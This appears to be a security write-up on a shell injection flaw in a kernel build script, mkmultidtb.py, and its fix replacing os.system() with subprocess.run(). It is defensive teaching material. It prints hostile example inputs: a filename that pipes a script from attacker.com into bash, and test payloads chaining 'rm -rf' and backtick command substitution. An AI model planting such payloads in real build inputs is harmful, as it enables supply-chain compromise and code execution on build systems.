Shell Injection in mkmultidtb.py: How String Concatenation with os.system() Enabled Arbitrary Code Execution
The Discovery: A Dangerous Pattern in Kernel Build Scripts
In the scripts/mkmultidtb.py file—a critical component of the kernel build process—a dangerous security pattern was discovered. The script constructs shell commands using string concatenation with device tree binary (DTB) filenames, then executes them via os.system(). This seemingly innocent approach created a critical OS command injection vulnerability that could allow attackers to execute arbitrary commands during the kernel build process.
The vulnerability is particularly dangerous because kernel build scripts are often part of supply chain infrastructure. An attacker who can influence DTB filenames (through compromised source repositories, malicious pull requests, or crafted build artifacts) could inject shell metacharacters to execute malicious code with the privileges of the build system.
Understanding the Vulnerability
The Vulnerable Code Pattern
Let's examine the problematic code from scripts/mkmultidtb.py (lines 48-51 in the original):
target_dtb_list = '' # String accumulation
# ... loop that builds the list ...
target_dtb_list += ' ' + new_file # String concatenation
# VULNERABLE: Direct shell command with concatenated filenames
os.system('scripts/resource_tool logo.bmp logo_kernel.bmp ' + target_dtb_list)
os.system('rm ' + target_dtb_list)
The vulnerability manifests in two ways:
- Line 50:
target_dtb_listis a string built by concatenating filenames with spaces - Lines 51-52: These strings are directly concatenated into shell commands and passed to
os.system()
How the Attack Works
The os.system() function in Python invokes the system shell (/bin/sh on Unix-like systems) to interpret and execute the command string. When the shell parses this string, it treats special characters as metacharacters:
;— Command separator (execute multiple commands)`— Command substitution (execute command and use output)$()— Command substitution (modern syntax)|— Pipe (redirect output to another command)&— Background execution>,<— Redirection
Exploitation Scenario: An attacker who can control DTB filenames in the build directory could craft a filename like:
rk3399-sapphire.dtb; curl attacker.com/malware.sh | bash; echo
When this filename is concatenated into the command string and passed to os.system(), the shell would execute:
scripts/resource_tool logo.bmp logo_kernel.bmp rk3399-sapphire.dtb; curl attacker.com/malware.sh | bash; echo
The shell interprets the ; as a command separator, executing the curl command as a separate command in the same shell context. This gives the attacker arbitrary code execution with the privileges of the build process.
Real-World Impact
For a kernel build system, this vulnerability enables:
- Supply chain compromise: Injecting malicious code into kernel builds
- Build system takeover: Executing commands as the build user (often with elevated privileges)
- Artifact tampering: Modifying compiled binaries before deployment
- Lateral movement: Using build system access to compromise other infrastructure
The regression test included in the PR demonstrates the exact attack vectors:
@pytest.mark.parametrize("payload", [
# Exact exploit case: shell metacharacter injection
"dtb; rm -rf /tmp/pwned; echo",
# Boundary case: backtick command substitution
"dtb`touch /tmp/injected`",
# Valid input: normal DTB filename
"rk3399-sapphire.dtb",
])
def test_mkmultidtb_no_shell_injection(payload, tmp_path):
"""Invariant: mkmultidtb.py must not execute injected shell commands
embedded in DTB filenames passed as arguments."""
The Fix: Replacing os.system() with subprocess.run()
The fix addresses the root cause by eliminating shell interpretation entirely. Instead of passing command strings to the shell, the corrected code uses subprocess.run() with argument lists, where each argument is treated as a literal string.
Before (Vulnerable)
target_dtb_list = ''
# ... loop ...
target_dtb_list += ' ' + new_file
print(target_dtb_list)
os.system('scripts/resource_tool logo.bmp logo_kernel.bmp ' + target_dtb_list)
os.system('rm ' + target_dtb_list)
After (Fixed)
import subprocess
target_dtb_list = [] # List instead of string
# ... loop ...
target_dtb_list.append(new_file) # Append instead of concatenate
print(' '.join(target_dtb_list))
subprocess.run(['scripts/resource_tool', 'logo.bmp', 'logo_kernel.bmp'] + target_dtb_list, check=True)
for f in target_dtb_list:
os.remove(f) # Use os.remove() instead of shell rm command
Why This Fix Works
1. Argument List Instead of String Concatenation
By passing arguments as a list to subprocess.run(), Python handles the argument passing directly to the subprocess without invoking a shell. This means:
- Shell metacharacters in filenames are treated as literal characters
- A filename like
rk3399; malicious.dtbis passed as a single argument, not interpreted by the shell - The subprocess receives exactly what was intended: a filename string
2. No Shell Interpretation
The key difference:
# VULNERABLE: Shell interprets the string
os.system('rm ' + 'file; malicious_command')
# Shell sees: rm file; malicious_command
# Shell executes: rm file AND malicious_command
# SAFE: Subprocess passes arguments directly
subprocess.run(['rm', 'file; malicious_command'])
# Subprocess receives: rm "file; malicious_command"
# Only tries to remove a file literally named "file; malicious_command"
3. Explicit Error Handling
The check=True parameter in subprocess.run() ensures that if the subprocess fails, an exception is raised. This is safer than os.system(), which returns an exit code that developers might ignore.
4. Replacement of Shell Commands
For the rm command, the fix uses Python's os.remove() function directly:
# Before: Shell command
os.system('rm ' + target_dtb_list)
# After: Direct Python API
for f in target_dtb_list:
os.remove(f)
This eliminates the shell entirely for file removal operations.
Security Invariant Verification
The PR includes a comprehensive regression test that verifies the security invariant: "mkmultidtb.py must not execute injected shell commands embedded in DTB filenames passed as arguments."
The test checks three cases:
- Semicolon injection:
dtb; rm -rf /tmp/pwned; echo - Backtick substitution:
dtbtouch /tmp/injected`` - Valid input:
rk3399-sapphire.dtb
For injection payloads, the test creates a sentinel file that would only exist if the injected command executed. With the fix in place, the sentinel file is never created—proving that injected commands are not executed.
Prevention & Best Practices
1. Never Use os.system() with Untrusted Input
The Python documentation explicitly warns against os.system() for security-sensitive operations. Replace it with subprocess.run() or subprocess.Popen().
Rule: If you're tempted to use os.system() with string concatenation, use subprocess.run() with a list instead.
2. Use Argument Lists, Not Shell Strings
# ❌ UNSAFE
subprocess.run('command arg1 arg2', shell=True)
# ✅ SAFE
subprocess.run(['command', 'arg1', 'arg2'])
3. Validate Filenames (Defense in Depth)
While subprocess argument lists eliminate shell injection, validating filenames adds an extra layer:
import os
import re
def validate_dtb_filename(filename):
"""Allow only alphanumeric, dash, underscore, and .dtb extension"""
if not re.match(r'^[a-zA-Z0-9_-]+\.dtb$', filename):
raise ValueError(f"Invalid DTB filename: {filename}")
return filename
4. Use Static Analysis Tools
Integrate security scanning into your CI/CD pipeline:
- Bandit: Python security linter that detects
os.system()usage - Semgrep: Code scanning tool with rules for command injection patterns
- Commercial SAST: Tools like SonarQube, Checkmarx, or Fortify
Example Bandit detection:
$ bandit -r scripts/
>> Issue: [B605:start_process_with_a_shell] starting a process with a shell: Possible security issue.
Severity: HIGH Confidence: MEDIUM
Location: scripts/mkmultidtb.py:51
5. Review Build Scripts Regularly
Build scripts are high-value targets for supply chain attacks. Treat them with the same security rigor as production code:
- Code review all changes to build scripts
- Restrict write access to build infrastructure
- Monitor for suspicious filename patterns in build artifacts
- Implement build artifact signing and verification
6. CWE and OWASP References
This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
- OWASP Top 10 (2021) A03: Injection
- OWASP Top 10 (2021) A08: Software and Data Integrity Failures (supply chain context)
Key Takeaways
-
Never concatenate untrusted input into shell commands: The
target_dtb_liststring concatenation inmkmultidtb.pycreated an attack surface that subprocess argument lists eliminate entirely. -
Prefer subprocess.run() over os.system(): Modern Python code should use subprocess with argument lists, which bypasses shell interpretation and prevents metacharacter injection.
-
Build scripts are critical infrastructure: The kernel build process is a supply chain touchpoint. Vulnerabilities here can compromise all downstream systems that use the compiled kernel.
-
Regression tests guard against reintroduction: The test case in this PR (
test_mkmultidtb_no_shell_injection) ensures that future maintainers cannot accidentally reintroduce this vulnerability through refactoring. -
Defense in depth is essential: While subprocess argument lists are the primary defense, validating filenames and using static analysis tools provide additional security layers.
Conclusion
The shell injection vulnerability in mkmultidtb.py demonstrates how a simple coding pattern—string concatenation with os.system()—can create a critical security breach. The fix is straightforward: replace os.system() with subprocess.run() using argument lists, and replace shell commands with Python APIs where possible.
For developers working on build scripts, kernel code, or any system-level tooling, this vulnerability serves as a reminder to treat user-controlled input (including filenames) with suspicion. Always use language features and APIs that prevent shell interpretation, validate input as a secondary measure, and integrate static analysis into your development workflow.
The kernel build process is a critical link in the supply chain. By fixing this vulnerability, we've strengthened the security posture of systems that depend on secure, trustworthy kernel builds.
References:
- Python subprocess documentation
- CWE-78: OS Command Injection
- OWASP Command Injection
- Bandit Security Linter
- Semgrep Security Rules